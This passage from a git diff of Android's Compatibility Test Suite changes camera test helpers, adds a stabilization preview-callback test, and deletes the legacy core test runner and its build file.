CaptureRequest.Builder captureBuilder =
@@ -457,7 +489,7 @@
state == BlockingSessionCallback.SESSION_CONFIGURE_FAILED);
}
- public void startPreviewWithConfigs(List<OutputConfiguration> outputConfigs,
+ public int startPreviewWithConfigs(List<OutputConfiguration> outputConfigs,
CaptureCallback listener)
throws Exception {
createSessionWithConfigs(outputConfigs);
@@ -470,13 +502,11 @@
captureBuilder.addTarget(surface);
}
}
- mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
+ return mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
}
- public void updateOutputConfigs(List<OutputConfiguration> configs,
+ public int updateRepeatingRequest(List<OutputConfiguration> configs,
CaptureCallback listener) throws Exception {
- mSession.finalizeOutputConfigurations(configs);
-
CaptureRequest.Builder captureBuilder =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
@@ -485,7 +515,26 @@
captureBuilder.addTarget(surface);
}
}
- mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
+ return mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
+ }
+
+ public void updateOutputConfiguration(OutputConfiguration config) throws Exception {
+ mSession.updateOutputConfiguration(config);
+ }
+
+ public void capture(CaptureRequest request, CaptureCallback listener)
+ throws Exception {
+ mSession.capture(request, listener, mHandler);
+ }
+
+ public CaptureRequest.Builder getCaptureBuilder(int templateId) throws Exception {
+ return mCamera.createCaptureRequest(templateId);
+ }
+
+ public void finalizeOutputConfigs(List<OutputConfiguration> configs,
+ CaptureCallback listener) throws Exception {
+ mSession.finalizeOutputConfigurations(configs);
+ updateRepeatingRequest(configs, listener);
}
public boolean isPreviewStarted() {
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index 3b697ce..f5fff8e 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -462,6 +462,30 @@
}
@UiThreadTest
+ public void testStabilizationOneShotPreviewCallback() throws Exception {
+ int nCameras = Camera.getNumberOfCameras();
+ for (int id = 0; id < nCameras; id++) {
+ Log.v(TAG, "Camera id=" + id);
+ testStabilizationOneShotPreviewCallbackByCamera(id);
+ }
+ }
+
+ private void testStabilizationOneShotPreviewCallbackByCamera(int cameraId) throws Exception {
+ initializeMessageLooper(cameraId);
+ Parameters params = mCamera.getParameters();
+ if(!params.isVideoStabilizationSupported()) {
+ return;
+ }
+ //Check whether we can support preview callbacks along with stabilization
+ params.setVideoStabilization(true);
+ mCamera.setParameters(params);
+ mCamera.setOneShotPreviewCallback(mPreviewCallback);
+ checkPreviewCallback();
+ terminateMessageLooper();
+ assertEquals(PREVIEW_CALLBACK_RECEIVED, mPreviewCallbackResult);
+ }
+
+ @UiThreadTest
public void testSetOneShotPreviewCallback() throws Exception {
int nCameras = Camera.getNumberOfCameras();
for (int id = 0; id < nCameras; id++) {
diff --git a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
index 834d37c..0f48364 100644
--- a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
+++ b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
@@ -227,18 +227,15 @@
verify(spyStateCb, times(1)).onOpened(any(CameraDevice.class));
// Verify that we can no longer open the camera, as it is held by a higher priority process
- boolean openException = false;
try {
manager.openCamera(chosenCamera, spyStateCb, cameraHandler);
+ fail("Didn't receive exception when trying to open camera held by higher priority " +
+ "process.");
} catch(CameraAccessException e) {
assertTrue("Received incorrect camera exception when opening camera: " + e,
e.getReason() == CameraAccessException.CAMERA_IN_USE);
- openException = true;
}
- assertTrue("Didn't receive exception when trying to open camera held by higher priority " +
- "process.", openException);
-
// Verify that attempting to open the camera didn't cause anything weird to happen in the
// other process.
List<ErrorLoggingService.LogEvent> eventList2 = null;
diff --git a/tests/core/Android.mk b/tests/core/Android.mk
index 7a2a708..e9c9793 100644
--- a/tests/core/Android.mk
+++ b/tests/core/Android.mk
@@ -14,6 +14,4 @@
LOCAL_PATH:= $(call my-dir)
-BUILD_CTSCORE_PACKAGE:=$(LOCAL_PATH)/ctscore.mk
-
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/core/ctscore.mk b/tests/core/ctscore.mk
deleted file mode 100644
index 10a91f1..0000000
--- a/tests/core/ctscore.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_JAVA_LIBRARIES := android.test.runner bouncycastle conscrypt
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-# don't include these packages in any target
-LOCAL_MODULE_TAGS := optional
-# and when installed explicitly put them in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-# Don't delete META-INF from the core-tests jar
-LOCAL_DONT_DELETE_JAR_META_INF := true
-
-# TODO: Clean up this mess. (b/26483949). libnativehelper_compat_libc++ pulls in its own
-# static copy of libc++ and the libc++ we're bundling here is the platform libc++. This is
-# bround to break but is being submitted as a workaround for failing CTS tests.
-LOCAL_JNI_SHARED_LIBRARIES := libjavacoretests libsqlite_jni libnativehelper_compat_libc++ libc++
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-include $(BUILD_PACKAGE)
diff --git a/tests/core/runner/Android.mk b/tests/core/runner/Android.mk
index 7e4fb0d..f86ee2f 100644
--- a/tests/core/runner/Android.mk
+++ b/tests/core/runner/Android.mk
@@ -14,21 +14,6 @@
LOCAL_PATH:= $(call my-dir)
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
- $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-
-# include this package in the tests target for continuous testing
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_PACKAGE_NAME := android.core.tests.runner
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-test-runner
-
-include $(BUILD_CTSCORE_PACKAGE)
-
#==========================================================
# Build the core runner.
#==========================================================
diff --git a/tests/core/runner/src/com/android/cts/core/internal/runner/TestLoader.java b/tests/core/runner/src/com/android/cts/core/internal/runner/TestLoader.java
deleted file mode 100644
index 108e8fd..0000000
--- a/tests/core/runner/src/com/android/cts/core/internal/runner/TestLoader.java
+++ /dev/null
@@ -1,258 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/**
- * This file is a copy of https://cs.corp.google.com/android/frameworks/testing/runner/src/main/java/android/support/test/internal/runner/TestLoader.java
- * The only changes that have been made starts with // Libcore-specific
- */
-
-package com.android.cts.core.internal.runner;
-
-import android.util.Log;
-
-import org.junit.runner.Description;
-import org.junit.runner.notification.Failure;
-
-import java.lang.annotation.Annotation;
-import java.lang.reflect.Method;
-import java.lang.reflect.Modifier;
-import java.util.Collection;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * A class for loading JUnit3 and JUnit4 test classes given a set of potential class names.
- */
-public final class TestLoader {
-
- private static final String LOG_TAG = "TestLoader";
- // Libcore-specific change: Fully qualified name of TestNG annotation class.
- private static final String TESTNG_TEST = "org.testng.annotations.Test";
-
- private Map<String, Class<?>> mLoadedClassesMap = new LinkedHashMap<String, Class<?>>();
- private Map<String, Failure> mLoadFailuresMap = new LinkedHashMap<String, Failure>();
-
- private ClassLoader mClassLoader;
-
- /**
- * Set the {@link ClassLoader} to be used to load test cases.
- *
- * @param loader {@link ClassLoader} to load test cases with.
- */
- public void setClassLoader(ClassLoader loader) {
- mClassLoader = loader;
- }
-
- /**
- * Loads the test class from a given class name if its not already loaded.
- * <p/>
- * Will store the result internally. Successfully loaded classes can be retrieved via
- * {@link #getLoadedClasses()}, failures via {@link #getLoadFailures()}.
- *
- * @param className the class name to attempt to load
- * @return the loaded class or null.
- */
- public Class<?> loadClass(String className) {
- Class<?> loadedClass = doLoadClass(className);
- if (loadedClass != null) {
- mLoadedClassesMap.put(className, loadedClass);
- }
- return loadedClass;
- }
-
- protected ClassLoader getClassLoader() {
- if (mClassLoader != null) {
- return mClassLoader;
- }
-
- // TODO: InstrumentationTestRunner uses
- // Class.forName(className, false, getTargetContext().getClassLoader());
- // Evaluate if that is needed. Initial testing indicates
- // getTargetContext().getClassLoader() == this.getClass().getClassLoader()
- return this.getClass().getClassLoader();
- }
-
- private Class<?> doLoadClass(String className) {
- if (mLoadFailuresMap.containsKey(className)) {
- // Don't load classes that already failed to load
- return null;
- } else if (mLoadedClassesMap.containsKey(className)) {
- // Class with the same name was already loaded, return it
- return mLoadedClassesMap.get(className);
- }
-
- try {
- ClassLoader myClassLoader = getClassLoader();
- return Class.forName(className, false, myClassLoader);
- } catch (ClassNotFoundException e) {
- String errMsg = String.format("Could not find class: %s", className);
- Log.e(LOG_TAG, errMsg);
- Description description = Description.createSuiteDescription(className);
- Failure failure = new Failure(description, e);
- mLoadFailuresMap.put(className, failure);
- }
- return null;
- }
-
- /**
- * Loads the test class from the given class name.
- * <p/>
- * Similar to {@link #loadClass(String)}, but will ignore classes that are
- * not tests.
- *
- * @param className the class name to attempt to load
- * @return the loaded class or null.
- */
- public Class<?> loadIfTest(String className) {
- Class<?> loadedClass = doLoadClass(className);
- if (loadedClass != null && isTestClass(loadedClass)) {
- mLoadedClassesMap.put(className, loadedClass);
- return loadedClass;
- }
- return null;
- }
-
- /**
- * @return whether this {@link TestLoader} contains any loaded classes or load failures.
- */
- public boolean isEmpty() {
- return mLoadedClassesMap.isEmpty() && mLoadFailuresMap.isEmpty();
- }
-
- /**
- * Get the {@link Collection) of classes successfully loaded via
- * {@link #loadIfTest(String)} calls.
- */
- public Collection<Class<?>> getLoadedClasses() {
- return mLoadedClassesMap.values();
- }
-
- /**
- * Get the {@link List) of {@link Failure} that occurred during
- * {@link #loadIfTest(String)} calls.
- */
- public Collection<Failure> getLoadFailures() {
- return mLoadFailuresMap.values();
- }
-
- /**
- * Determines if given class is a valid test class.
- *
- * @param loadedClass
- * @return <code>true</code> if loadedClass is a test
- */
- private boolean isTestClass(Class<?> loadedClass) {
- try {
- if (Modifier.isAbstract(loadedClass.getModifiers())) {
- logDebug(String.format("Skipping abstract class %s: not a test",
- loadedClass.getName()));
- return false;
- }
- // Libcore-specific change: Also consider TestNG annotated classes.
- if (isTestNgTestClass(loadedClass)) {
- return true;
- }
- // TODO: try to find upstream junit calls to replace these checks
- if (junit.framework.Test.class.isAssignableFrom(loadedClass)) {
- // ensure that if a TestCase, it has at least one test method otherwise
- // TestSuite will throw error
- if (junit.framework.TestCase.class.isAssignableFrom(loadedClass)) {
- return hasJUnit3TestMethod(loadedClass);
- }
- return true;
- }
- // TODO: look for a 'suite' method?
- if (loadedClass.isAnnotationPresent(org.junit.runner.RunWith.class)) {
- return true;
- }
- for (Method testMethod : loadedClass.getMethods()) {
- if (testMethod.isAnnotationPresent(org.junit.Test.class)) {
- return true;
- }
- }
- logDebug(String.format("Skipping class %s: not a test", loadedClass.getName()));
- return false;
- } catch (Exception e) {
- // Defensively catch exceptions - Will throw runtime exception if it cannot load methods.
- // For earlier versions of Android (Pre-ICS), Dalvik might try to initialize a class
- // during getMethods(), fail to do so, hide the error and throw a NoSuchMethodException.
- // Since the java.lang.Class.getMethods does not declare such an exception, resort to a
- // generic catch all.
- // For ICS+, Dalvik will throw a NoClassDefFoundException.
- Log.w(LOG_TAG, String.format("%s in isTestClass for %s", e.toString(),
- loadedClass.getName()));
- return false;
- } catch (Error e) {
- // defensively catch Errors too
- Log.w(LOG_TAG, String.format("%s in isTestClass for %s", e.toString(),
- loadedClass.getName()));
- return false;
- }
- }
-
- private boolean hasJUnit3TestMethod(Class<?> loadedClass) {
- for (Method testMethod : loadedClass.getMethods()) {
- if (isPublicTestMethod(testMethod)) {
- return true;
- }
- }
- return false;
- }
-
- // copied from junit.framework.TestSuite
- private boolean isPublicTestMethod(Method m) {
- return isTestMethod(m) && Modifier.isPublic(m.getModifiers());
- }
-
- // copied from junit.framework.TestSuite
- private boolean isTestMethod(Method m) {
- return m.getParameterTypes().length == 0 && m.getName().startsWith("test")
- && m.getReturnType().equals(Void.TYPE);
- }
-
- // Libcore-specific change: Add method for checking TestNG-annotated classes.
- private static boolean isTestNgTestClass(Class<?> cls) {
- // TestNG test is either marked @Test at the class
- for (Annotation a : cls.getAnnotations()) {
- if (a.annotationType().getName().equals(TESTNG_TEST)) {
- return true;
- }
- }
-
- // Or It's marked @Test at the method level
- for (Method m : cls.getDeclaredMethods()) {
- for (Annotation a : m.getAnnotations()) {
- if (a.annotationType().getName().equals(TESTNG_TEST)) {
- return true;
- }
- }
- }
-
- return false;
- }
-
-
- /**
- * Utility method for logging debug messages. Only actually logs a message if LOG_TAG is marked
- * as loggable to limit log spam during normal use.
- */
- private void logDebug(String msg) {
- if (Log.isLoggable(LOG_TAG, Log.DEBUG)) {
- Log.d(LOG_TAG, msg);
- }
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/AndroidJUnitRunnerConstants.java b/tests/core/runner/src/com/android/cts/core/runner/AndroidJUnitRunnerConstants.java
deleted file mode 100644
index 4b18cdc..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/AndroidJUnitRunnerConstants.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner;
-
-import android.support.test.runner.AndroidJUnitRunner;
-
-/**
- * Constants used to communicate to and from {@link AndroidJUnitRunner}.
- */
-public interface AndroidJUnitRunnerConstants {
-
- /**
- * The name of the file containing the names of the tests to run.
- *
- * <p>This is an internal constant used within
- * {@code android.support.test.internal.runner.RunnerArgs}, which is used on both the server
- * and
- * client side. The constant is used when there are too many test names to pass on the command
- * line, in which case they are stored in a file that is pushed to the device and then the
- * location of that file is passed in this argument. The {@code RunnerArgs} on the client will
- * read the contents of that file in order to retrieve the list of names and then return that
- * to
- * its client without the client being aware of how that was done.
- */
- String ARGUMENT_TEST_FILE = "testFile";
-
- /**
- * The name of the file containing the names of the tests not to run.
- *
- * <p>This is an internal constant used within
- * {@code android.support.test.internal.runner.RunnerArgs}, which is used on both the server
- * and
- * client side. The constant is used when there are too many test names to pass on the command
- * line, in which case they are stored in a file that is pushed to the device and then the
- * location of that file is passed in this argument. The {@code RunnerArgs} on the client will
- * read the contents of that file in order to retrieve the list of names and then return that
- * to
- * its client without the client being aware of how that was done.
- */
- String ARGUMENT_NOT_TEST_FILE = "notTestFile";
-
- /**
- * A comma separated list of the names of test classes to run.
- *
- * <p>The equivalent constant in {@code InstrumentationTestRunner} is hidden and so not
- * available
- * through the public API.
- */
- String ARGUMENT_TEST_CLASS = "class";
-
- /**
- * A comma separated list of the names of test classes not to run
- */
- String ARGUMENT_NOT_TEST_CLASS = "notClass";
-
- /**
- * A comma separated list of the names of test packages to run.
- *
- * <p>The equivalent constant in {@code InstrumentationTestRunner} is hidden and so not
- * available
- * through the public API.
- */
- String ARGUMENT_TEST_PACKAGE = "package";
-
- /**
- * A comma separated list of the names of test packages not to run.
- */
- String ARGUMENT_NOT_TEST_PACKAGE = "notPackage";
-
- /**
- * Log the results as if the tests were executed but don't actually run the tests.
- *
- * <p>The equivalent constant in {@code InstrumentationTestRunner} is private.
- */
- String ARGUMENT_LOG_ONLY = "log";
-
- /**
- * Wait for the debugger before starting.
- *
- * <p>There is no equivalent constant in {@code InstrumentationTestRunner} but the string is
- * used
- * within that class.
- */
- String ARGUMENT_DEBUG = "debug";
-
- /**
- * Only count the number of tests to run.
- *
- * <p>There is no equivalent constant in {@code InstrumentationTestRunner} but the string is
- * used
- * within that class.
- */
- String ARGUMENT_COUNT = "count";
-
- /**
- * The per test timeout value.
- */
- String ARGUMENT_TIMEOUT = "timeout_msec";
-
- /**
- * Token representing how long (in seconds) the current test took to execute.
- *
- * <p>The equivalent constant in {@code InstrumentationTestRunner} is private.
- */
- String REPORT_KEY_RUNTIME = "runtime";
-
- /**
- * An identifier for tests run using this class.
- */
- String REPORT_VALUE_ID = "CoreTestRunner";
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/CoreTestRunner.java b/tests/core/runner/src/com/android/cts/core/runner/CoreTestRunner.java
deleted file mode 100644
index 42b6684..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/CoreTestRunner.java
+++ /dev/null
@@ -1,355 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.os.Bundle;
-import android.os.Debug;
-import android.support.test.internal.runner.listener.InstrumentationResultPrinter;
-import android.support.test.internal.runner.listener.InstrumentationRunListener;
-import android.support.test.internal.util.AndroidRunnerParams;
-import android.util.Log;
-import com.android.cts.core.runner.support.ExtendedAndroidRunnerBuilder;
-import com.google.common.base.Splitter;
-import java.io.BufferedReader;
-import java.io.ByteArrayOutputStream;
-import java.io.FileReader;
-import java.io.IOException;
-import java.io.PrintStream;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import org.junit.runner.Computer;
-import org.junit.runner.JUnitCore;
-import org.junit.runner.Request;
-import org.junit.runner.Result;
-import org.junit.runner.Runner;
-import org.junit.runner.manipulation.Filter;
-import org.junit.runner.manipulation.Filterable;
-import org.junit.runner.manipulation.NoTestsRemainException;
-import org.junit.runner.notification.RunListener;
-import org.junit.runners.model.InitializationError;
-import org.junit.runners.model.RunnerBuilder;
-
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_COUNT;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_DEBUG;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_LOG_ONLY;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_NOT_TEST_CLASS;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_NOT_TEST_FILE;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_NOT_TEST_PACKAGE;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_TEST_CLASS;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_TEST_FILE;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_TEST_PACKAGE;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_TIMEOUT;
-
-/**
- * A drop-in replacement for AndroidJUnitTestRunner, which understands the same arguments, and has
- * similar functionality, but can filter by expectations and allows a custom runner-builder to be
- * provided.
- */
-public class CoreTestRunner extends Instrumentation {
-
- static final String TAG = "LibcoreTestRunner";
-
- private static final java.lang.String ARGUMENT_ROOT_CLASSES = "core-root-classes";
-
- private static final String ARGUMENT_CORE_LISTENER = "core-listener";
-
- private static final Splitter CLASS_LIST_SPLITTER = Splitter.on(',').trimResults();
-
- /** The args for the runner. */
- private Bundle args;
-
- /** Only log the number and names of tests, and not run them. */
- private boolean logOnly;
-
- /** The amount of time in millis to wait for a single test to complete. */
- private long testTimeout;
-
- /**
- * The list of tests to run.
- */
- private TestList testList;
-
- /**
- * The list of {@link RunListener} classes to create.
- */
- private List<Class<? extends RunListener>> listenerClasses;
- private Filter expectationFilter;
-
- @Override
- public void onCreate(final Bundle args) {
- super.onCreate(args);
- this.args = args;
-
- boolean debug = "true".equalsIgnoreCase(args.getString(ARGUMENT_DEBUG));
- if (debug) {
- Log.i(TAG, "Waiting for debugger to connect...");
- Debug.waitForDebugger();
- Log.i(TAG, "Debugger connected.");
- }
-
- // Log the message only after getting a value from the args so that the args are
- // unparceled.
- Log.d(TAG, "In OnCreate: " + args);
-
- // Treat logOnly and count as the same. This is not quite true as count should only send
- // the host the number of tests but logOnly should send the name and number. However,
- // this is how this has always behaved and it does not appear to have caused any problems.
- // Changing it seems unnecessary given that count is CTSv1 only and CTSv1 will be removed
- // soon now that CTSv2 is ready.
- boolean testCountOnly = args.getBoolean(ARGUMENT_COUNT);
- this.logOnly = "true".equalsIgnoreCase(args.getString(ARGUMENT_LOG_ONLY)) || testCountOnly;
- this.testTimeout = parseUnsignedLong(args.getString(ARGUMENT_TIMEOUT), ARGUMENT_TIMEOUT);
-
- expectationFilter = new ExpectationBasedFilter(args);
-
- // The test can be run specifying a list of tests to run, or as cts-tradefed does it,
- // by passing a fileName with a test to run on each line.
- Set<String> testNameSet = new HashSet<>();
- String arg;
- if ((arg = args.getString(ARGUMENT_TEST_FILE)) != null) {
- // The tests are specified in a file.
- try {
- testNameSet.addAll(readTestsFromFile(arg));
- } catch (IOException err) {
- finish(Activity.RESULT_CANCELED, new Bundle());
- return;
- }
- } else if ((arg = args.getString(ARGUMENT_TEST_CLASS)) != null) {
- // The tests are specified in a String passed in the bundle.
- String[] tests = arg.split(",");
- testNameSet.addAll(Arrays.asList(tests));
- }
-
- // Tests may be excluded from the run by passing a list of tests not to run,
- // or by passing a fileName with a test not to run on each line.
- Set<String> notTestNameSet = new HashSet<>();
- if ((arg = args.getString(ARGUMENT_NOT_TEST_FILE)) != null) {
- // The tests are specified in a file.
- try {
- notTestNameSet.addAll(readTestsFromFile(arg));
- } catch (IOException err) {
- finish(Activity.RESULT_CANCELED, new Bundle());
- return;
- }
- } else if ((arg = args.getString(ARGUMENT_NOT_TEST_CLASS)) != null) {
- // The classes are specified in a String passed in the bundle
- String[] tests = arg.split(",");
- notTestNameSet.addAll(Arrays.asList(tests));
- }
-
- Set<String> packageNameSet = new HashSet<>();
- if ((arg = args.getString(ARGUMENT_TEST_PACKAGE)) != null) {
- // The packages are specified in a String passed in the bundle
- String[] packages = arg.split(",");
- packageNameSet.addAll(Arrays.asList(packages));
- }
-
- Set<String> notPackageNameSet = new HashSet<>();
- if ((arg = args.getString(ARGUMENT_NOT_TEST_PACKAGE)) != null) {
- // The packages are specified in a String passed in the bundle
- String[] packages = arg.split(",");
- notPackageNameSet.addAll(Arrays.asList(packages));
- }
-
- List<String> roots = getRootClassNames(args);
- if (roots == null) {
- // Find all test classes
- Collection<Class<?>> classes = TestClassFinder.getClasses(
- Collections.singletonList(getContext().getPackageCodePath()),
- getClass().getClassLoader());
- testList = new TestList(classes);
- } else {
- testList = TestList.rootList(roots);
- }
-
- testList.addIncludeTestPackages(packageNameSet);
- testList.addExcludeTestPackages(notPackageNameSet);
- testList.addIncludeTests(testNameSet);
- testList.addExcludeTests(notTestNameSet);
-
- listenerClasses = new ArrayList<>();
- String listenerArg = args.getString(ARGUMENT_CORE_LISTENER);
- if (listenerArg != null) {
- List<String> listenerClassNames = CLASS_LIST_SPLITTER.splitToList(listenerArg);
- for (String listenerClassName : listenerClassNames) {
- try {
- Class<? extends RunListener> listenerClass = Class.forName(listenerClassName)
- .asSubclass(RunListener.class);
- listenerClasses.add(listenerClass);
- } catch (ClassNotFoundException e) {
- Log.e(TAG, "Could not load listener class: " + listenerClassName, e);
- }
- }
- }
-
- start();
- }
-
- private List<String> getRootClassNames(Bundle args) {
- String rootClasses = args.getString(ARGUMENT_ROOT_CLASSES);
- List<String> roots;
- if (rootClasses == null) {
- roots = null;
- } else {
- roots = CLASS_LIST_SPLITTER.splitToList(rootClasses);
- }
- return roots;
- }
-
- @Override
- public void onStart() {
- if (logOnly) {
- Log.d(TAG, "Counting/logging tests only");
- } else {
- Log.d(TAG, "Running tests");
- }
-
- AndroidRunnerParams runnerParams = new AndroidRunnerParams(this, args,
- false, testTimeout, false /*ignoreSuiteMethods*/);
-
- Runner runner;
- try {
- RunnerBuilder runnerBuilder = new ExtendedAndroidRunnerBuilder(runnerParams);
- Class[] classes = testList.getClassesToRun();
- for (Class cls : classes) {
- Log.d(TAG, "Found class to run: " + cls.getName());
- }
- runner = new Computer().getSuite(runnerBuilder, classes);
-
- if (runner instanceof Filterable) {
- Log.d(TAG, "Applying filters");
- Filterable filterable = (Filterable) runner;
-
- // Filter out all the tests that are expected to fail.
- try {
- filterable.filter(expectationFilter);
- } catch (NoTestsRemainException e) {
- // Sometimes filtering will remove all tests but we do not care about that.
- }
- Log.d(TAG, "Applied filters");
- }
-
- // If the tests are only supposed to be logged and not actually run then replace the
- // runner with a runner that will fire notifications for all the tests that would have
- // been run. This is needed because CTSv2 does a log only run through a CTS module in
- // order to generate a list of tests that will be run so that it can monitor them.
- // Encapsulating that in a Runner implementation makes it easier to leverage the
- // existing code for running tests.
- if (logOnly) {
- runner = new DescriptionHierarchyNotifier(runner.getDescription());
- }
-
- } catch (InitializationError e) {
- throw new RuntimeException("Could not create a suite", e);
- }
-
- InstrumentationResultPrinter instrumentationResultPrinter =
- new InstrumentationResultPrinter();
- instrumentationResultPrinter.setInstrumentation(this);
-
- JUnitCore core = new JUnitCore();
- core.addListener(instrumentationResultPrinter);
-
- // If not logging the list of tests then add any additional configured listeners. These
- // must be added before firing any events.
- if (!logOnly) {
- // Add additional configured listeners.
- for (Class<? extends RunListener> listenerClass : listenerClasses) {
- try {
- RunListener runListener = listenerClass.newInstance();
- if (runListener instanceof InstrumentationRunListener) {
- ((InstrumentationRunListener) runListener).setInstrumentation(this);
- }
- core.addListener(runListener);
- } catch (InstantiationException | IllegalAccessException e) {
- Log.e(TAG,
- "Could not create instance of listener: " + listenerClass, e);
- }
- }
- }
-
- Log.d(TAG, "Finished preparations, running/listing tests");
-
- Bundle results = new Bundle();
- Result junitResults = new Result();
- try {
- junitResults = core.run(Request.runner(runner));
- } catch (RuntimeException e) {
- final String msg = "Fatal exception when running tests";
- Log.e(TAG, msg, e);
- // report the exception to instrumentation out
- results.putString(Instrumentation.REPORT_KEY_STREAMRESULT,
- msg + "\n" + Log.getStackTraceString(e));
- } finally {
- ByteArrayOutputStream summaryStream = new ByteArrayOutputStream();
- // create the stream used to output summary data to the user
- PrintStream summaryWriter = new PrintStream(summaryStream);
- instrumentationResultPrinter.instrumentationRunFinished(summaryWriter,
- results, junitResults);
- summaryWriter.close();
- results.putString(Instrumentation.REPORT_KEY_STREAMRESULT,
- String.format("\n%s", summaryStream.toString()));
- }
-
-
- Log.d(TAG, "Finished");
- finish(Activity.RESULT_OK, results);
- }
-
- /**
- * Read tests from a specified file.
- *
- * @return class names of tests. If there was an error reading the file, null is returned.
- */
- private static List<String> readTestsFromFile(String fileName) throws IOException {
- try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
- List<String> tests = new ArrayList<>();
- String line;
- while ((line = br.readLine()) != null) {
- tests.add(line);
- }
- return tests;
- } catch (IOException err) {
- Log.e(TAG, "There was an error reading the test class list: " + err.getMessage());
- throw err;
- }
- }
-
- /**
- * Parse long from given value - except either Long or String.
- *
- * @return the value, -1 if not found
- * @throws NumberFormatException if value is negative or not a number
- */
- private static long parseUnsignedLong(Object value, String name) {
- if (value != null) {
- long longValue = Long.parseLong(value.toString());
- if (longValue < 0) {
- throw new NumberFormatException(name + " can not be negative");
- }
- return longValue;
- }
- return -1;
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/DescriptionHierarchyNotifier.java b/tests/core/runner/src/com/android/cts/core/runner/DescriptionHierarchyNotifier.java
deleted file mode 100644
index 5c94fd7..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/DescriptionHierarchyNotifier.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.core.runner;
-
-import java.util.List;
-import org.junit.runner.Description;
-import org.junit.runner.Runner;
